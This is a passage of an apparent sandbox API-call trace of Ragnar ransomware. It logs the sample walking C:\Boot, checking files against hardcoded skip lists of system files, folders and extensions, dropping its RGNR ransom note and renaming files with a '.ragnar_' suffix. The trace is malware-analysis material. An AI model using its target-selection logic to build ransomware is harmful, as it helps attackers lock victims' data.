lpString1="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" [0047.828] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.828] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.828] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec05600, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.828] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\zh-HK\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.828] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.828] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\zh-HK\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.828] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.828] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec05600, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.828] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.829] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2=".") returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2="..") returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2="Windows") returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2="Windows.old") returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2="Tor browser") returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2="Internet Explorer") returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2="Google") returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2="Opera") returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2="Opera Software") returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2="Mozilla") returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2="Mozilla Firefox") returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2="$Recycle.Bin") returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2="ProgramData") returned 1 [0047.829] lstrcmpiW (lpString1="zh-TW", lpString2="All Users") returned 1 [0047.829] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.829] lstrcpyW (in: lpString1=0x1ed660, lpString2="zh-TW" | out: lpString1="zh-TW") returned="zh-TW" [0047.829] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\zh-TW", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\zh-TW\\") returned="\\\\?\\C:\\Boot\\zh-TW\\" [0047.829] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\zh-TW\\" | out: lpString1="\\\\?\\C:\\Boot\\zh-TW\\") returned="\\\\?\\C:\\Boot\\zh-TW\\" [0047.829] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\zh-TW\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\zh-TW\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\zh-TW\\RGNR_FD7BD9FC.txt" [0047.829] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\zh-TW\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\zh-tw\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.831] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\zh-TW\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\zh-TW\\*.*") returned="\\\\?\\C:\\Boot\\zh-TW\\*.*" [0047.831] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\zh-TW\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.831] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.831] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec05600, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.831] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.831] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec05600, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.831] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.831] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.831] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.831] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.831] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.831] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec05600, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.832] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.832] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.832] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec05600, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.832] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec05600, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.832] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec05600, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.832] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.832] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\zh-TW\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.832] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.832] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.832] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.832] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.832] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.832] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.832] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.832] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.832] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.832] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0047.833] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.833] CloseHandle (hObject=0xffffffff) returned 0 [0047.833] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" [0047.833] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.833] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.833] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec05600, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.833] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\zh-TW\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.833] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.833] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\zh-TW\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.833] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.833] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec05600, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec05600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.833] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.833] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0047.833] FindClose (in: hFindFile=0x5a1268 | out: hFindFile=0x5a1268) returned 1 [0047.833] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e638060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1268 [0047.833] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e638060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.833] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0047.834] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.834] lstrcpyW (in: lpString1=0x1ed660, lpString2="BCD" | out: lpString1="BCD") returned="BCD" [0047.834] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\BCD") returned="" [0047.834] lstrcmpiW (lpString1="BCD", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="autorun.inf") returned 1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="boot.ini") returned -1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="bootfont.bin") returned -1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="bootsect.bak") returned -1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="bootmgr") returned -1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="bootmgr.efi") returned -1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="bootmgfw.efi") returned -1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="desktop.ini") returned -1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="iconcache.db") returned -1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="ntldr") returned -1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="ntuser.dat") returned -1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="ntuser.dat.log") returned -1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="ntuser.ini") returned -1 [0047.834] lstrcmpiW (lpString1="BCD", lpString2="thumbs.db") returned -1 [0047.834] lstrcmpiW (lpString1="", lpString2=".db") returned -1 [0047.834] lstrcmpiW (lpString1="", lpString2=".sys") returned -1 [0047.834] lstrcmpiW (lpString1="", lpString2=".dll") returned -1 [0047.834] lstrcmpiW (lpString1="", lpString2=".lnk") returned -1 [0047.834] lstrcmpiW (lpString1="", lpString2=".msi") returned -1 [0047.834] lstrcmpiW (lpString1="", lpString2=".drv") returned -1 [0047.834] lstrcmpiW (lpString1="", lpString2=".exe") returned -1 [0047.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd")) returned 0x20 [0047.834] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.835] CloseHandle (hObject=0xffffffff) returned 0 [0047.835] lstrcpyW (in: lpString1=0x1ecb68, lpString2="\\\\?\\C:\\Boot\\BCD" | out: lpString1="\\\\?\\C:\\Boot\\BCD") returned="\\\\?\\C:\\Boot\\BCD" [0047.835] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\BCD", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\BCD.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\BCD.ragnar_FD7BD9FC" [0047.835] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), lpNewFileName="\\\\?\\C:\\Boot\\BCD.ragnar_FD7BD9FC" (normalized: "c:\\boot\\bcd.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.835] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0047.835] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.835] lstrcpyW (in: lpString1=0x1ed660, lpString2="BCD.LOG" | out: lpString1="BCD.LOG") returned="BCD.LOG" [0047.835] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\BCD.LOG") returned=".LOG" [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="autorun.inf") returned 1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="boot.ini") returned -1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="bootfont.bin") returned -1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="bootsect.bak") returned -1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="bootmgr") returned -1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="bootmgr.efi") returned -1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="bootmgfw.efi") returned -1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="desktop.ini") returned -1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="iconcache.db") returned -1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="ntldr") returned -1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="ntuser.dat") returned -1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="ntuser.dat.log") returned -1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="ntuser.ini") returned -1 [0047.835] lstrcmpiW (lpString1="BCD.LOG", lpString2="thumbs.db") returned -1 [0047.835] lstrcmpiW (lpString1=".LOG", lpString2=".db") returned 1 [0047.835] lstrcmpiW (lpString1=".LOG", lpString2=".sys") returned -1 [0047.835] lstrcmpiW (lpString1=".LOG", lpString2=".dll") returned 1 [0047.835] lstrcmpiW (lpString1=".LOG", lpString2=".lnk") returned 1 [0047.835] lstrcmpiW (lpString1=".LOG", lpString2=".msi") returned -1 [0047.835] lstrcmpiW (lpString1=".LOG", lpString2=".drv") returned 1 [0047.835] lstrcmpiW (lpString1=".LOG", lpString2=".exe") returned 1 [0047.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log")) returned 0x26 [0047.835] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.836] CloseHandle (hObject=0xffffffff) returned 0 [0047.836] lstrcpyW (in: lpString1=0x1ecb68, lpString2="\\\\?\\C:\\Boot\\BCD.LOG" | out: lpString1="\\\\?\\C:\\Boot\\BCD.LOG") returned="\\\\?\\C:\\Boot\\BCD.LOG" [0047.836] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\BCD.LOG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\BCD.LOG.ragnar_FD7BD9FC") 